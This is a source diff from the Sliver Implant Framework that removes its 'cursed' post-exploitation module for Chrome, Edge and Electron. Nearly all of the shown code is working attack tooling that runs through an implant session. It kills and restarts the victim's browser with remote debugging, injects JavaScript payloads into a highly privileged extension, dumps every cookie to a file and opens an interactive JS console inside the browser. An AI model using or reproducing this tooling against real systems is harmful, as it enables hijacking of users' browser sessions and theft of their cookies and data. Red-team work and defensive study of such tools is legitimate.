f.String("s", "save", "", "save to file")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedScreenshotCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(cursedCmd)
// [ Builders ] ---------------------------------------------
buildersCmd := &grumble.Command{
Name: consts.BuildersStr,
Help: "List external builders",
LongHelp: help.GetHelpFor([]string{consts.BuildersStr}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
builders.BuildersCmd(ctx, con)
con.Println()
return nil
},
}
con.App.AddCommand(buildersCmd)
}
-3
View File
@@ -1,3 +0,0 @@
# Cursed
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
-435
View File
@@ -1,435 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"fmt"
"io/ioutil"
"log"
insecureRand "math/rand"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
ErrUnsupportedOS = errors.New("unsupported OS")
windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraChrome(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
}
}
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
chromeProcess, err := getChromeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if chromeProcess != nil {
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: chromeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(false, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
name := "Chrome"
if isEdge {
name = "Edge"
}
con.PrintInfof("Finding %s executable path ... ", name)
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Finding %s user data directory ... ", name)
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Starting %s process ... ", name)
debugPort := getRemoteDebuggerPort(ctx)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
if chromeUserDataDir != "" {
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
}
if ctx.Flags.Bool("restore") {
args = append(args, "--restore-last-session")
}
if ctx.Flags.Bool("keep-alive") {
args = append(args, "--keep-alive-for-test")
}
if ctx.Flags.Bool("headless") {
args = append(args, "--headless")
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExePath,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: chromeExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: chromeExePath,
ChromeUserDataDir: chromeUserDataDir,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
userDataFlag := ctx.Flags.String("user-data")
if userDataFlag != "" {
return userDataFlag, nil
}
switch session.GetOS() {
case "windows":
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
if isEdge {
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
}
return "", ErrUserDataDirNotFound
case "darwin":
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
if isEdge {
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return userDataDir, nil
}
return "", ErrUserDataDirNotFound
default:
return "", ErrUnsupportedOS
}
}
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
exeFlag := ctx.Flags.String("exe")
if exeFlag != "" {
return exeFlag, nil
}
switch session.GetOS() {
case "windows":
chromeWindowsPaths := []string{
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
}
if isEdge {
chromeWindowsPaths = []string{
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
}
}
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
for _, chromePath := range chromeWindowsPaths {
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromeExecutablePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromeExecutablePath, nil
}
}
}
return "", ErrChromeExecutableNotFound
case "darwin":
// AFAIK Chrome only installs to this path on macOS
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
if isEdge {
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: defaultChromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return defaultChromePath, nil
}
return "", ErrChromeExecutableNotFound
case "linux":
chromeLinuxPaths := []string{
"/usr/bin/google-chrome",
"/usr/bin/chromium-browser",
"/usr/local/bin/google-chrome",
"/usr/local/bin/chromium-browser",
}
if isEdge {
chromeLinuxPaths = []string{
"/usr/bin/microsoft-edge",
"/usr/local/bin/microsoft-edge",
}
}
for _, chromePath := range chromeLinuxPaths {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromePath, nil
}
}
return "", ErrChromeExecutableNotFound
default:
return "", ErrUnsupportedOS
}
}
func isChromeProcess(executable string) bool {
var chromeProcessNames = []string{
"chrome", // Linux
"google-chrome", // Linux
"chromium-browser", // Linux
"chrome.exe", // Windows
"Google Chrome", // Darwin
}
for _, suffix := range chromeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
-183
View File
@@ -1,183 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
"github.com/desertbit/readline"
)
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
startCursedConsole(curse, true, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
if len(targets) < 1 {
con.PrintErrorf("No debug targets\n")
return nil
}
id2target := map[string]overlord.ChromeDebugTarget{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, target := range targets {
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
id2target[target.ID] = target
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a debug target:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedID := strings.Split(selected, " ")[0]
selectedTarget := id2target[selectedID]
return &selectedTarget
}
var (
helperHooks = []string{
"console.log = (...a) => {return a;}", // console.log
}
)
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := ioutil.TempFile("", "cursed")
reader, err := readline.NewEx(&readline.Config{
Prompt: "\033[31mcursed »\033[0m ",
HistoryFile: tmpFile.Name(),
// AutoComplete: nil,
InterruptPrompt: "^C",
EOFPrompt: "exit",
HistorySearchFold: true,
// FuncFilterInputRune: filterInput,
})
if err != nil {
con.PrintErrorf("Failed to create read line: %s\n", err)
return
}
if helpers {
// Execute helper hooks
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
for _, hook := range helperHooks {
_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
if err != nil {
con.PrintErrorf("%s\n", err)
}
}
}
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
for {
line, err := reader.Readline()
if err == readline.ErrInterrupt {
if len(line) == 0 {
break
} else {
continue
}
} else if err == io.EOF {
break
}
switch strings.TrimSpace(line) {
case ":help":
con.Println()
con.Println("Available commands:")
con.Println(" :file - Execute local .js file")
con.Println(" :help - Show this help")
con.Println(" :exit - Exit the console")
con.Println()
case ":file":
jsCode, err := ioutil.ReadFile(line)
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
case ":exit":
fallthrough
case "exit":
return
default:
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
if err != nil {
con.PrintErrorf("%s\n", err)
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
}
}
}
-69
View File
@@ -1,69 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
if err != nil {
con.PrintErrorf("Failed to dump cookies: %s\n", err)
return
}
con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
if len(cookies) == 0 {
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
}
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
-170
View File
@@ -1,170 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadPath := ctx.Flags.String("payload")
var payload []byte
var err error
if payloadPath != "" {
payload, err = ioutil.ReadFile(payloadPath)
if err != nil {
con.PrintErrorf("Could not read payload file: %s\n", err)
return
}
}
curse := avadaKedavraEdge(session, ctx, con)
if curse == nil {
return
}
if payloadPath == "" {
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
return
}
con.PrintInfof("Searching for Edge extension with all permissions ... ")
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// There is one alternative set of permissions that we can use if we don't find an extension
// with all the proper permissions.
if chromeExt == nil {
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
// defer cancel()
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.Printf("success!\n")
} else {
con.Printf("failure!\n")
con.PrintInfof("No viable Edge extensions were found ☹️\n")
}
}
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
edgeProcess, err := getEdgeProcess(session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if edgeProcess != nil {
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: edgeProcess.GetPid(),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedChromeProcess(true, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func isEdgeProcess(executable string) bool {
var edgeProcessNames = []string{
"msedge", // Linux
"microsoft-edge", // Linux
"msedge.exe", // Windows
"Microsoft Edge", // Darwin
}
for _, suffix := range edgeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isEdgeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
-233
View File
@@ -1,233 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"log"
insecureRand "math/rand"
"path"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
electronExe := ctx.Flags.String("exe")
if electronExe == "" {
con.PrintErrorf("Missing --exe flag, see --help\n")
return
}
curse := avadaKedavraElectron(electronExe, session, ctx, con)
if curse == nil {
return
}
con.PrintInfof("Checking for debug targets ...")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
if len(targets) == 0 {
con.PrintErrorf("Zero debug targets found\n")
return
}
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
}
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
exists, err := checkElectronPath(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s", err)
return nil
}
if !exists {
con.PrintErrorf("Executable path does not exist: %s", electronExe)
return nil
}
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if electronProcess != nil {
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: electronProcess.Pid,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func checkElectronPath(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
})
if err != nil {
return false, err
}
return ls.GetExists(), nil
}
func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
return process, nil
}
}
return nil, nil
}
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := getRemoteDebuggerPort(ctx)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: electronExe,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
con.PrintInfof("Waiting for process to initialize ... ")
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: electronExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: electronExe,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
func getElectronProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
